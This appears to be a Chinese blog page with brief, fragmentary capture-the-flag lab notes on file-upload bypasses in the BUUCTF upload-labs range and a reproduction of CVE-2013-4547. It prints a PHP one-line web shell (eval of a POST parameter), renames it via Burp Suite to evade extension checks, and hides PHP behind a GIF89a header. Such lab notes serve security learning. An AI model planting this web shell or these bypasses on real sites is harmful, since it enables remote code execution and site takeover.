wwang135的博客

用的buu的靶场Pass-01查看源码发现进行了限制一句话木马:<?php @eval($_POST['key']);?>用bp将yjhmm.jpg修改为yjhmm.php然后放包过去上传地址：http://ca713556-ace3-46a0-be37-2972e851bfa3.node4.buuoj.cn:81/upload/yjhmm.php然后用蚁剑连接Pass-02查看源码对文件类型进行了限制这里和Pass-01一样.

Spring-Cloud-SpEL-RCE漏洞复现

C V E - 2 0 1 3 - 4 5 4 7构建并启动容器1.2.访问网址IP地址3.上传图片文件bp抓包在<?php phpinfo();?>前面加上GIF89a??改成图片文件4.bp send放包过去/uploadfiles/a7c3ce076585477741d951d179ab07dc.jpg在网址后面加上这个文件返回的上传路径5.最后成功复现...